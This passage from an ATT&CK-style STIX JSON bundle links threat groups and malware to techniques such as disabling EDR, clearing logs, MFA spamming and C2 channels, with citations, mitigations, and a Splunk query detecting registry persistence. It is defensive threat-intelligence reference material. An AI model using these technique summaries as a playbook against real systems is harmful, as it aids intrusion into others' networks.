                    "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/"
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            "description": "[Gorgon Group](https://attack.mitre.org/groups/G0078) malware can deactivate security mechanisms in Microsoft Office by editing several keys and values under <code>HKCU\\Software\\Microsoft\\Office\\</code>.(Citation: Unit 42 Gorgon Group Aug 2018)",
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                {
                    "source_name": "Microsoft Albanian Government Attacks September 2022",
                    "description": "MSTIC. (2022, September 8). Microsoft investigates Iranian attacks against the Albanian government. Retrieved August 6, 2024.",
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            "description": "During [HomeLand Justice](https://attack.mitre.org/campaigns/C0038), threat actors modified and disabled components of endpoint detection and response (EDR) solutions including Microsoft Defender Antivirus.(Citation: Microsoft Albanian Government Attacks September 2022)",
            "relationship_type": "uses",
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            "x_mitre_deprecated": false,
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            "revoked": false,
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                {
                    "source_name": "ESET Industroyer",
                    "description": "Anton Cherepanov. (2017, June 12). Win32/Industroyer: A new threat for industrial controls systems. Retrieved December 18, 2020.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf"
                },
                {
                    "source_name": "Dragos Crashoverride 2017",
                    "description": "Dragos Inc.. (2017, June 13). CRASHOVERRIDE Analysis of the Threat to Electric Grid Operations. Retrieved December 18, 2020.",
                    "url": "https://dragos.com/blog/crashoverride/CrashOverride-01.pdf"
                },
                {
                    "source_name": "Dragos Crashoverride 2018",
                    "description": "Joe Slowik. (2018, October 12). Anatomy of an Attack: Detecting and Defeating CRASHOVERRIDE. Retrieved December 18, 2020.",
                    "url": "https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf"
                },
                {
                    "source_name": "mandiant_apt44_unearthing_sandworm",
                    "description": "Roncone, G. et al. (n.d.). APT44: Unearthing Sandworm. Retrieved July 11, 2024.",
                    "url": "https://services.google.com/fh/files/misc/apt44-unearthing-sandworm.pdf"
                },
                {
                    "source_name": "Secureworks IRON VIKING",
                    "description": "Secureworks. (2020, May 1). IRON VIKING Threat Profile. Retrieved June 10, 2020.",
                    "url": "https://www.secureworks.com/research/threat-profiles/iron-viking"
                }
            ],
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:35:45.136Z",
            "description": "(Citation: Dragos Crashoverride 2018)(Citation: Dragos Crashoverride 2017)(Citation: ESET Industroyer)(Citation: Secureworks IRON VIKING)(Citation: mandiant_apt44_unearthing_sandworm)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
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            "id": "relationship--9f0abcfc-68b7-4e6c-9b9c-e511fdd2db00",
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            "revoked": false,
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            ],
            "modified": "2025-04-16T22:35:45.405Z",
            "description": "Consider filtering publish/subscribe protocol requests to untrusted or known bad resources over irregular ports (e.g. MQTT\u2019s standard ports are 1883 or 8883).",
            "relationship_type": "mitigates",
            "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d",
            "target_ref": "attack-pattern--241f9ea8-f6ae-4f38-92f5-cef5b7e539dd",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
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            "id": "relationship--9f0f23ed-644d-44f5-bee9-c3f44f04a6d8",
            "created": "2018-10-17T00:14:20.652Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "GitHub QuasarRAT",
                    "description": "MaxXor. (n.d.). QuasarRAT. Retrieved July 10, 2018.",
                    "url": "https://github.com/quasar/QuasarRAT"
                },
                {
                    "source_name": "Volexity Patchwork June 2018",
                    "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.",
                    "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/"
                }
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            "description": "Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.",
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                    "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020.",
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                    "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.",
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                    "description": "Jenkins, L. at al. (2022, August 4). ROADSWEEP Ransomware - Likely Iranian Threat Actor Conducts Politically Motivated Disruptive Activity Against Albanian Government Organizations. Retrieved August 6, 2024.",
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                    "description": "Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021.",
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                    "description": "Caragay, R. (2015, March 26). URSNIF: The Multifaceted Malware. Retrieved June 5, 2019.",
                    "url": "https://web.archive.org/web/20210719165945/https://www.trendmicro.com/en_us/research/15/c/ursnif-the-multifaceted-malware.html?_ga=2.165628854.808042651.1508120821-744063452.1505819992"
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                    "source_name": "TrendMicro BKDR_URSNIF.SM",
                    "description": "Sioting, S. (2013, June 15). BKDR_URSNIF.SM. Retrieved June 5, 2019.",
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            "description": "[Lizar](https://attack.mitre.org/software/S0681) can download additional plugins, files, and tools.(Citation: BiZone Lizar May 2021)",
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            "description": "[RedCurl](https://attack.mitre.org/groups/G1039) has gained access to a contractor to pivot to the victim\u2019s infrastructure.(Citation: therecord_redcurl)",
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                    "description": "Zargarov, N. (2022, May 2). New Black Basta Ransomware Hijacks Windows Fax Service. Retrieved March 7, 2023.",
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                    "source_name": "SpectorOps Subverting Trust Sept 2017",
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                    "description": "Adi Zeligson & Rotem Kerner. (2018, November 13). Enter The DarkGate - New Cryptocurrency Mining and Ransomware Campaign. Retrieved February 9, 2024.",
                    "url": "https://www.fortinet.com/blog/threat-research/enter-the-darkgate-new-cryptocurrency-mining-and-ransomware-campaign"
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                {
                    "source_name": "Trellix Darkgate 2023",
                    "description": "Ernesto Fern\u00e1ndez Provecho, Pham Duy Phuc, Ciana Driscoll & Vinoo Thomas. (2023, November 21). The Continued Evolution of the DarkGate Malware-as-a-Service. Retrieved February 9, 2024.",
                    "url": "https://www.trellix.com/blogs/research/the-continued-evolution-of-the-darkgate-malware-as-a-service/"
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                {
                    "source_name": "Rapid7 BlackBasta 2024",
                    "description": "McGraw, T. (2024, December 4). Black Basta Ransomware Campaign Drops Zbot, DarkGate, and Custom Malware. Retrieved December 9, 2024.",
                    "url": "https://www.rapid7.com/blog/post/2024/12/04/black-basta-ransomware-campaign-drops-zbot-darkgate-and-custom-malware/"
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                    "description": "Check Point. (2022, January 11). APT35 exploits Log4j vulnerability to distribute new modular PowerShell toolkit. Retrieved January 24, 2022.",
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                    "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage"
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                {
                    "source_name": "Securelist APT10 March 2021",
                    "description": "GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021.",
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                    "description": "Cybereason Nocturnus. (2020, December 23). Cybereason vs. Clop Ransomware. Retrieved May 11, 2021.",
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                    "source_name": "Cylance Machete Mar 2017",
                    "description": "The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.",
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                    "source_name": "360 Machete Sep 2020",
                    "description": "kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries \u2014 HpReact campaign. Retrieved November 20, 2020.",
                    "url": "https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/"
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                    "description": "Fidelis Threat Research Team. (2016, January 27). Introducing Hi-Zor RAT. Retrieved March 24, 2016.",
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                    "description": "Cash, D., Grunzweig, J., Meltzer, M., Adair, S., Lancaster, T. (2021, August 17). North Korean APT InkySquid Infects Victims Using Browser Exploits. Retrieved September 30, 2021.",
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                    "description": "Mandiant Intelligence. (2022, June 2). To HADES and Back: UNC2165 Shifts to LOCKBIT to Evade Sanctions. Retrieved July 29, 2024.",
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                    "description": "Kasza, A., Halfpop, T. (2016, February 09). NanoCoreRAT Behind an Increase in Tax-Themed Phishing E-mails. Retrieved November 9, 2018.",
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            "description": "[PowerShower](https://attack.mitre.org/software/S0441) has added a registry key so future powershell.exe instances are spawned off-screen by default, and has removed all registry entries that are left behind during the dropper process.(Citation: Unit 42 Inception November 2018)",
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                    "source_name": "ESET Sednit USBStealer 2014",
                    "description": "Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.",
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            "modified": "2025-04-28T16:03:45.109Z",
            "description": "[USBStealer](https://attack.mitre.org/software/S0136) mimics a legitimate Russian program called USB Disk Security.(Citation: ESET Sednit USBStealer 2014)",
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                    "description": "Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.",
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                    "description": "Fiser, D. Oliveira, A. (n.d.). Tracking the Activities of TeamTNT A Closer Look at a Cloud-Focused Malicious Actor Group. Retrieved September 22, 2021.",
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                {
                    "source_name": "Aqua TeamTNT August 2020",
                    "description": "Kol, Roi. Morag, A. (2020, August 25). Deep Analysis of TeamTNT Techniques Using Container Images to Attack. Retrieved September 22, 2021.",
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            "description": "[TeamTNT](https://attack.mitre.org/groups/G0139) has encrypted its binaries via AES and encoded files using Base64.(Citation: Trend Micro TeamTNT)(Citation: Aqua TeamTNT August 2020)",
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                    "description": "Uptycs Threat Research Team. (2021, January 12). Confucius APT deploys Warzone RAT. Retrieved December 17, 2021.",
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            "description": "[Confucius](https://attack.mitre.org/groups/G0142) has used HTTP for C2 communications.(Citation: Uptycs Confucius APT Jan 2021)",
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                    "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.",
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                    "source_name": "Talos Cobalt Group July 2018",
                    "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.",
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            "description": "[More_eggs](https://attack.mitre.org/software/S0284) has the capability to gather the IP address from the victim's machine.(Citation: Talos Cobalt Group July 2018)",
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            "modified": "2025-04-28T16:03:46.144Z",
            "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used [Wevtutil](https://attack.mitre.org/software/S0645) to remove PowerShell execution logs.(Citation: Securelist APT10 March 2021)",
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                {
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                    "description": "Kasuya, M. (2020, January 8). Threat Spotlight: Amadey Bot Targets Non-Russian Users. Retrieved July 14, 2022.",
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            "description": "[Amadey](https://attack.mitre.org/software/S1025) has collected the computer name and OS version from a compromised machine.(Citation: Korean FSI TA505 2020)(Citation: BlackBerry Amadey 2020)",
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            "description": "[WastedLocker](https://attack.mitre.org/software/S0612) can enumerate removable drives prior to the encryption process.(Citation: Sentinel Labs WastedLocker July 2020)",
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                    "description": "Carvey, H. (2024, May 1). LOLBin to INC Ransomware. Retrieved June 5, 2024.",
                    "url": "https://www.huntress.com/blog/lolbin-to-inc-ransomware"
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                    "description": "Ilascu, I. (2020, December 14). Hacking group\u2019s new malware abuses Google and Facebook services. Retrieved December 28, 2020.",
                    "url": "https://www.bleepingcomputer.com/news/security/hacking-group-s-new-malware-abuses-google-and-facebook-services/"
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            "description": "[SharpStage](https://attack.mitre.org/software/S0546) has decompressed data received from the C2 server.(Citation: BleepingComputer Molerats Dec 2020)",
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                    "source_name": "Trend Micro Tick November 2019",
                    "description": "Chen, J. et al. (2019, November). Operation ENDTRADE: TICK\u2019s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020.",
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            "description": "[build_downer](https://attack.mitre.org/software/S0471) has the ability to send system volume information to C2.(Citation: Trend Micro Tick November 2019)",
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            "target_ref": "attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c",
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            "id": "relationship--a6d35df2-0711-4b18-b733-6200467056ec",
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                    "source_name": "Volexity InkySquid BLUELIGHT August 2021",
                    "description": "Cash, D., Grunzweig, J., Meltzer, M., Adair, S., Lancaster, T. (2021, August 17). North Korean APT InkySquid Infects Victims Using Browser Exploits. Retrieved September 30, 2021.",
                    "url": "https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/"
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                {
                    "source_name": "FireEye APT37 Feb 2018",
                    "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved November 17, 2024.",
                    "url": "https://services.google.com/fh/files/misc/apt37-reaper-the-overlooked-north-korean-actor.pdf"
                },
                {
                    "source_name": "Securelist ScarCruft Jun 2016",
                    "description": "Raiu, C., and Ivanov, A. (2016, June 17). Operation Daybreak. Retrieved February 15, 2018.",
                    "url": "https://securelist.com/operation-daybreak/75100/"
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            "modified": "2025-04-16T22:37:44.300Z",
            "description": "[APT37](https://attack.mitre.org/groups/G0067) has used strategic web compromises, particularly of South Korean websites, to distribute malware. The group has also used torrent file-sharing sites to more indiscriminately disseminate malware to victims. As part of their compromises, the group has used a Javascript based profiler called RICECURRY to profile a victim's web browser and deliver malicious code accordingly.(Citation: Securelist ScarCruft Jun 2016)(Citation: FireEye APT37 Feb 2018)(Citation: Volexity InkySquid BLUELIGHT August 2021)",
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                    "description": "MalwareBytes Threat Intelligence Team. (2022, August 3). Woody RAT: A new feature-rich malware spotted in the wild. Retrieved December 6, 2022.",
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            "description": "[Woody RAT](https://attack.mitre.org/software/S1065) has relied on users opening a malicious email attachment for execution.(Citation: MalwareBytes WoodyRAT Aug 2022)",
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                    "source_name": "Talos Kimsuky Nov 2021",
                    "description": "An, J and Malhotra, A. (2021, November 10). North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. Retrieved December 29, 2021.",
                    "url": "https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html"
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                {
                    "source_name": "Mandiant APT43 March 2024",
                    "description": "Mandiant. (2024, March 14). APT43: North Korean Group Uses Cybercrime to Fund Espionage Operations. Retrieved May 3, 2024.",
                    "url": "https://services.google.com/fh/files/misc/apt43-report-en.pdf"
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            "description": "(Citation: Talos Kimsuky Nov 2021)(Citation: Mandiant APT43 March 2024)",
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                    "source_name": "Group IB Silence Sept 2018",
                    "description": "Group-IB. (2018, September). Silence: Moving Into the Darkside. Retrieved May 5, 2020.",
                    "url": "https://go.group-ib.com/report-silence-en?_gl=1*d1bh3a*_ga*MTIwMzM5Mzc5MS4xNjk4OTI5NzY4*_ga_QMES53K3Y2*MTcwNDcyMjU2OS40LjEuMTcwNDcyMzU1Mi41My4wLjA."
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                    "description": "hasherezade. (2016, April 11). No money, but Pony! From a mail to a trojan horse. Retrieved May 21, 2020.",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2015/11/no-money-but-pony-from-a-mail-to-a-trojan-horse/"
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            "description": "[Pony](https://attack.mitre.org/software/S0453) has sent collected information to the C2 via HTTP POST request.(Citation: Malwarebytes Pony April 2016)\t",
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                    "description": "Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.",
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                {
                    "source_name": "FireEye APT10 Sept 2018",
                    "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.",
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                    "description": "Microsoft Threat Intelligence. (2024, May 28). Moonstone Sleet emerges as new North Korean threat actor with new bag of tricks. Retrieved August 26, 2024.",
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            "description": "\nOn Windows 8.1 and Windows Server 2012 R2, enable Protected Process Light for LSA.(Citation: Microsoft LSA)",
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                    "description": "Pierre Le Bourhis, Quentin Bourgue, & Sekoia TDR. (2022, June 29). Raccoon Stealer v2 - Part 2: In-depth analysis. Retrieved August 1, 2024.",
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                    "description": "S2W TALON. (2022, June 16). Raccoon Stealer is Back with a New Version. Retrieved August 1, 2024.",
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            "description": "[Raccoon Stealer](https://attack.mitre.org/software/S1148) can capture screenshots from victim systems.(Citation: S2W Racoon 2022)(Citation: Sekoia Raccoon2 2022)",
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                    "source_name": "Symantec Troll Stealer 2024",
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                    "description": "Chen, Joey. (2022, June 9). Aoqin Dragon | Newly-Discovered Chinese-linked APT Has Been Quietly Spying On Organizations For 10 Years. Retrieved July 14, 2022.",
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            "description": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as <code>CreateRemoteThread</code>, <code>SuspendThread</code>/<code>SetThreadContext</code>/<code>ResumeThread</code>, <code>QueueUserAPC</code>/<code>NtQueueApcThread</code>, and those that can be used to modify memory within another process, such as <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>, may be used for this technique.(Citation: Elastic Process Injection July 2017) Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits)",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e",
            "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--a724a449-cd4d-419a-90a0-cdd5927c60b7",
            "created": "2020-05-13T19:59:39.334Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "Kaspersky MoleRATs April 2019",
                    "description": "GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020.",
                    "url": "https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T16:03:54.599Z",
            "description": "[DustySky](https://attack.mitre.org/software/S0062) captures PNG screenshots of the main screen.(Citation: Kaspersky MoleRATs April 2019)",
            "relationship_type": "uses",
            "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--a726ffe8-d192-4f40-be21-ba2ffe32c670",
            "created": "2021-03-23T20:49:40.256Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "Kaspersky ShadowPad Aug 2017",
                    "description": "Kaspersky Lab. (2017, August). ShadowPad: popular server management software hit in supply chain attack. Retrieved March 22, 2021.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2017/08/07172148/ShadowPad_technical_description_PDF.pdf"
                }
            ],
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T16:03:54.783Z",
            "description": "[ShadowPad](https://attack.mitre.org/software/S0596) has used UDP for C2 communications.(Citation: Kaspersky ShadowPad Aug 2017)",
            "relationship_type": "uses",
            "source_ref": "malware--ec9e00dd-0313-4d5b-8105-c20aa47abffc",
            "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--a72a96fc-c76e-4c55-9ea6-4315246c15db",
            "created": "2022-10-13T18:53:11.225Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "MSTIC DEV-0537 Mar 2022",
                    "description": "MSTIC, DART, M365 Defender. (2022, March 24). DEV-0537 Criminal Actor Targeting Organizations for Data Exfiltration and Destruction. Retrieved May 17, 2022.",
                    "url": "https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:37:50.908Z",
            "description": "[LAPSUS$](https://attack.mitre.org/groups/G1004) has spammed target users with MFA prompts in the hope that the legitimate user will grant necessary approval.(Citation: MSTIC DEV-0537 Mar 2022)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--d8bc9788-4f7d-41a9-9e9d-ee1ea18a8cf7",
            "target_ref": "attack-pattern--954a1639-f2d6-407d-aef3-4917622ca493",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--a72ce53b-311d-43f2-b145-784c322306c1",
            "created": "2019-02-18T18:26:55.749Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "ESET Sednit 2017 Activity",
                    "description": "ESET. (2017, December 21). Sednit update: How Fancy Bear Spent the Year. Retrieved February 18, 2019.",
                    "url": "https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T16:03:55.051Z",
            "description": "[CHOPSTICK](https://attack.mitre.org/software/S0023) can use a DGA for [Fallback Channels](https://attack.mitre.org/techniques/T1008), domains are generated by concatenating words from lists.(Citation: ESET Sednit 2017 Activity)",
            "relationship_type": "uses",
            "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472",
            "target_ref": "attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--a72eb24f-256b-4d88-a839-55d1d35833bb",
            "created": "2022-06-16T13:06:00.574Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
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            "description": "Monitor for newly executed processes executed from the Run/RunOnce registry keys through Windows EID 9707 or \u201cSoftware\\Microsoft\\Windows\\CurrentVersion\\Run\u201d and \u201cSoftware\\Microsoft\\Windows\\CurrentVersion\\RunOnce\u201d registry keys with the full command line.\n\nRegistry modifications are often essential in establishing persistence via known Windows mechanisms. Many legitimate modifications are done graphically via\u00a0regedit.exe\u00a0or by using the corresponding channels, or even calling the Registry APIs directly. The built-in utility\u00a0reg.exe\u00a0provides a\u00a0command-line interface\u00a0to the registry, so that queries and modifications can be performed from a shell, such as\u00a0cmd.exe. When a user is responsible for these actions, the parent of\u00a0cmd.exe\u00a0will likely be\u00a0explorer.exe. Occasionally, power users and administrators write scripts that do this behavior as well, but likely from a different process tree. These background scripts must be learned so they can be tuned out accordingly.\n\nOutput Description\nThe sequence of processes that resulted in\u00a0reg.exe\u00a0being started from a shell. That is, a hierarchy that looks like\n\u2022 great-grand_parent.exe\n\u2022 grand_parent.exe\n\u2022 parent.exe\n\u2022 reg.exe\n\nAnalytic 1 - Reg.exe called from Command Shell\n\n<code>(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") Image=\"reg.exe\" AND ParentImage=\"cmd.exe\"\n| join left=L right=R where L.ParentProcessGuid = R.ProcessGuid \n    [search EventCode IN (1, 4688) Image=\"*cmd.exe\" ParentImage!=\"*explorer.exe\"]</code>",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--a72f9e78-41af-40c7-bce3-9e1e21d956e2",
            "created": "2020-01-24T14:47:41.988Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T16:03:55.324Z",
            "relationship_type": "subtechnique-of",
            "source_ref": "attack-pattern--7d57b371-10c2-45e5-b3cc-83a8fb380e4c",
            "target_ref": "attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--a732c265-07f0-4e9b-a42c-0df6277e5b27",
            "created": "2017-05-31T21:33:27.042Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "Forcepoint Carbanak Google C2",
                    "description": "Griffin, N. (2017, January 17). CARBANAK GROUP USES GOOGLE FOR MALWARE COMMAND-AND-CONTROL. Retrieved February 15, 2017.",
                    "url": "https://blogs.forcepoint.com/security-labs/carbanak-group-uses-google-malware-command-and-control"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T16:03:55.509Z",
            "description": "[Carbanak](https://attack.mitre.org/groups/G0008) has used a VBScript named \"ggldr\" that uses Google Apps Script, Sheets, and Forms services for C2.(Citation: Forcepoint Carbanak Google C2)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c",
            "target_ref": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--a735d1e1-10bf-42e7-aafd-222b4d24d581",
            "created": "2022-03-30T14:26:51.845Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:37:51.932Z",
            "description": "Monitor for contextual data about a file, which may include information such as name, the content (ex: signature, headers, or data/media), user/owner, permissions, etc.",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5",
            "target_ref": "attack-pattern--11f29a39-0942-4d62-92b6-fe236cf3066e",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--a7361e2b-9cdc-4fa6-97e4-1b191e9f3952",
            "created": "2022-03-21T22:15:27.547Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "Objective See Green Lambert for OSX Oct 2021",
                    "description": "Sandvik, Runa. (2021, October 1). Made In America: Green Lambert for OS X. Retrieved March 21, 2022.",
                    "url": "https://objective-see.com/blog/blog_0x68.html"
                },
                {
                    "source_name": "Glitch-Cat Green Lambert ATTCK Oct 2021",
                    "description": "Sandvik, Runa. (2021, October 18). Green Lambert and ATT&CK. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20211018145402/https://www.glitch-cat.com/blog/green-lambert-and-attack"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:37:52.149Z",
            "description": "[Green Lambert](https://attack.mitre.org/software/S0690) has encrypted strings.(Citation: Objective See Green Lambert for OSX Oct 2021)(Citation: Glitch-Cat Green Lambert ATTCK Oct 2021) ",
            "relationship_type": "uses",
            "source_ref": "malware--59c8a28c-200c-4565-9af1-cbdb24870ba0",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
